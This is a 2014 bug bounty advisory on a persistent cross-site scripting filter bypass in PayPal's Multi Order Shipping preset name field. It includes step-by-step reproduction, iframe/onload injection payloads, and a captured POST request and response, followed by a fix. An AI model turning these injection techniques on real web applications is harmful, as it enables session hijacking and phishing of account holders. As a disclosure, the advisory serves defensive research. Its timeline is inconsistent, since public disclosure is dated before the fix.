Document Title: =============== Paypal Inc Bug Bounty #109 MOS - Bypass & Persistent Vulnerability
References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1050 PayPal Security UID: Pq115cey Release Date: ============= 2014-05-14 Vulnerability Laboratory ID (VL-ID): ==================================== 1050 Common Vulnerability Scoring System: ==================================== 4 Product & Service Introduction: =============================== PayPal is a global e-commerce business allowing payments and money transfers to be made through the Internet. Online money transfers serve as electronic alternatives to paying with traditional paper methods, such as checks and money orders. Originally, a PayPal account could be funded with an electronic debit from a bank account or by a credit card at the payer s choice. But some time in 2010 or early 2011, PayPal began to require a verified bank account after the account holder exceeded a predetermined spending limit. After that point, PayPal will attempt to take funds for a purchase from funding sources according to a specified funding hierarchy. If you set one of the funding sources as Primary, it will default to that, within that level of the hierarchy (for example, if your credit card ending in 4567 is set as the Primary over 1234, it will still attempt to pay money out of your PayPal balance, before it attempts to charge your credit card). The funding hierarchy is a balance in the PayPal account; a PayPal credit account, PayPal Extras, PayPal SmartConnect, PayPal Extras Master Card or Bill Me Later (if selected as primary funding source) (It can bypass the Balance); a verified bank account; other funding sources, such as non-PayPal credit cards. The recipient of a PayPal transfer can either request a check from PayPal, establish their own PayPal deposit account or request a transfer to their bank account. PayPal is an acquirer, performing payment processing for online vendors, auction sites, and other commercial users, for which it charges a fee. It may also charge a fee for receiving money, proportional to the amount received. The fees depend on the currency used, the payment option used, the country of the sender, the country of the recipient, the amount sent and the recipient s account type. In addition, eBay purchases made by credit card through PayPal may incur extra fees if the buyer and seller use different currencies. On October 3, 2002, PayPal became a wholly owned subsidiary of eBay. Its corporate headquarters are in San Jose, California, United States at eBay s North First Street satellite office campus. The company also has significant operations in Omaha, Nebraska, Scottsdale, Arizona, and Austin, Texas, in the United States, Chennai, Dublin, Kleinmachnow (near Berlin) and Tel Aviv. As of July 2007, across Europe, PayPal also operates as a Luxembourg-based bank. On March 17, 2010, PayPal entered into an agreement with China UnionPay (CUP), China s bankcard association, to allow Chinese consumers to use PayPal to shop online.PayPal is planning to expand its workforce in Asia to 2,000 by the end of the year 2010. Between December 4ñ9, 2010, PayPal services were attacked in a series of denial-of-service attacks organized by Anonymous in retaliation for PayPal s decision to freeze the account of WikiLeaks citing terms of use violations over the publication of leaked US diplomatic cables. (Copy of the Homepage: www.paypal.com) [http://en.wikipedia.org/wiki/PayPal] Abstract Advisory Information: ============================== The Vulnerability Laboratory Research Team has discovered a filter bypass & persistent Web Vulnerability in the Paypal Inc core web application api. Vulnerability Disclosure Timeline: ================================== 2013-08-15: Researcher Notification & Coordination (Ateeq ur Rehman Khan) 2013-08-16: Vendor Notification (PayPal Site Security Team - Bug Bounty Program) 2013-12-22: Vendor Response/Feedback (PayPal Site Security Team - Bug Bounty Program) 2014-05-10: Vendor Fix/Patch (PayPal Developer Team - Reward: Bug Bounty) 2013-05-14: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ A filter bypass and persistent script code injection vulnerability has been discovered in the official Paypal service application and common service api. The vulnerability allows an attacker to inject own malicious script codes in the vulnerable module on the application side (persistent). The vulnerability has been discovered in the Paypal MOS (Multi Order Shipping) Web Application (https://ship.paypal.com) and the vulnerability exists in the `Preset` module. While creating a new shipping preset, an attacker can inject malicious script code in the `Preset Name` field. During the testing, the researcher was able to bypass the current security filters (client side input validation) by intercepting the POST requests and injecting the payloads directly instead of using the web interface. Affected URL is pasted below for your reference: https://ship.paypal.com/cgi-bin/shipweb?cmd=add-shipping-preset The affected Parameter is: <PresetName><![CDATA[Your Payload Here]]></PresetName> The payload used during the testing is: <![CDATA[<iframe src=a onload=alert(/TEST/)>]]> The vulnerability is exploitable for stand alone user account but also for multi-accounts in paypal. The way of exploitation is remote and the risk is high because of the following scenario. A remote attacker is able to create multiple customer orders with injected payloads. When the admin merchant account user logs in and checks the Paypal Multi Online Shipping Orders, the exploit gets triggered. The security risk of the filter bypass and persistent web vulnerability are estimated as medium with a cvss (common vulnerability scoring system) count of 4.0. Exploitation of the persistent web vulnerability requires a low privileged paypal application user account and only low user interaction. Successful exploitation of the vulnerability results in persistent session hijacking, persistent phishing, persistent external redirects, persistent manipulation of affected or connected module web context. Vulnerable Section(s): [+] Paypal Inc (API) - (https://www.paypal.com/en) Vulnerable Module(s): [+] Settings > Shipping Presets > Create Shipping Preset Vulnerable Field(s): [+] Preset Name Vulnerable Parameter(s): [+] presentname Proof of Concept (PoC): ======================= The filter bypass and persistent validation web vulnerability can be reproduced by remote attackers with low privileged application user account with low user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Note: You need two accounts to produce this PoC, #1 the Main Business Account and #2, the second low privileged user with limited access to only Paypal Multi Online Shipping Module. 1. Login to the shipping application as the Low Priviledged user 2. Goto Settings > Shipping Presets > Create Shipping Preset 3. Enter dummy data for a test 4. Fill up input fields with dummy data and before clicking 'Save', intercept the POST request using Tamper data or any other http proxy intercepting tool 5. Fill dummy data in all other fields (I used digits only during the POC) 6. Intercept the POST request and enter the payload under the <PresetName> field and click OK 7. Refresh your browser once, you should now have a new preset added in the shipping application Multi User Accounts: PoC To reproduce successfully, Log in the shipping application, as the priviledged user, Goto settings and you will get a javascript popup proving the existance of this vulnerability. Payload: <![CDATA[%20<iframe src=http://www.vulnerability-lab.com onload=alert(/PoC/)>]]> --- PoC Session Logs [POST] --- POST /cgi-bin/shipweb?cmd=add-shipping-preset HTTP/1.1 Host: ship.paypal.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Content-Type: text/xml; charset=UTF-8 Referer: https://ship.paypal.com/powership/shipping/dialogs/settings/settings.html?version=1_0_4 Content-Length: 558 Cookie: [Hidden] Connection: keep-alive Pragma: no-cache Cache-Control: no-cache <AddShippingPreset> <AccountNumber>MBYAX9TQRRXHL</AccountNumber> <PresetName><![CDATA[%20<iframe src=http://www.vulnerability-lab.com onload=alert(/PoC/)>]]></PresetName> <ServiceTypeAndPackageID>005003</ServiceTypeAndPackageID> <WeightRangeID>48</WeightRangeID> <Irregular>false</Irregular> <InsuranceValue><![CDATA[000]]></InsuranceValue> <InsuranceSelected>false</InsuranceSelected> <SignatureConfirmation>false</SignatureConfirmation> <HidePostageCost>true</HidePostageCost> <AutoPreset>false</AutoPreset> <OverrideExistingSettings>false</OverrideExistingSettings> </AddShippingPreset> Response Logs: HTTP/1.1 200 OK Date: Fri, 16 Aug 2013 00:14:55 GMT Server: Apache X-Frame-Options: SAMEORIGIN Set-Cookie: RouxWyWiKm3aD3COV0dah-P3yUq=TLxZwIHzn7e8476mU6cRiqM_j7BCvovfm_he1cL5wG0EsXN_pj_qsvGtaKzIokB8CM6dDO98y0j22gbMG2yHCxcPKj9AEX38zbdbC2tXy4BrllSV; domain=.paypal.com; path=/; Secure; HttpOnly Connection: close Content-Type: text/xml Content-Length: 160 <?xml version="1.0" encoding="UTF-8"?> <AddShippingPresetOutput> <OperationStatus> <StatusCode>0</StatusCode> </OperationStatus> </AddShippingPresetOutput Reference(s): https://www.paypal.com/us/cgi-bin/webscr?cmd=_bulk-ship https://ship.paypal.com/cgi-bin/shipweb?cmd=add-shipping-preset Solution - Fix & Patch: ======================= The vulnerability can be patched by a secure parse and encode of the vulnerable input field `Preset Name`. The input can also be restricted by disallowing special chars or a secure filter procedure. The output listing with the saved item requires to encode the vulnerable present-name value to prevent further persistent injects via POST method request. Security Risk: ============== The security risk of the filter bypass and persistent input validation web vulnerability is estimated as medium. Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Ateeq ur Rehman Khan (at...@evolution-sec.com) (www.vulnerability-lab.com) Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. 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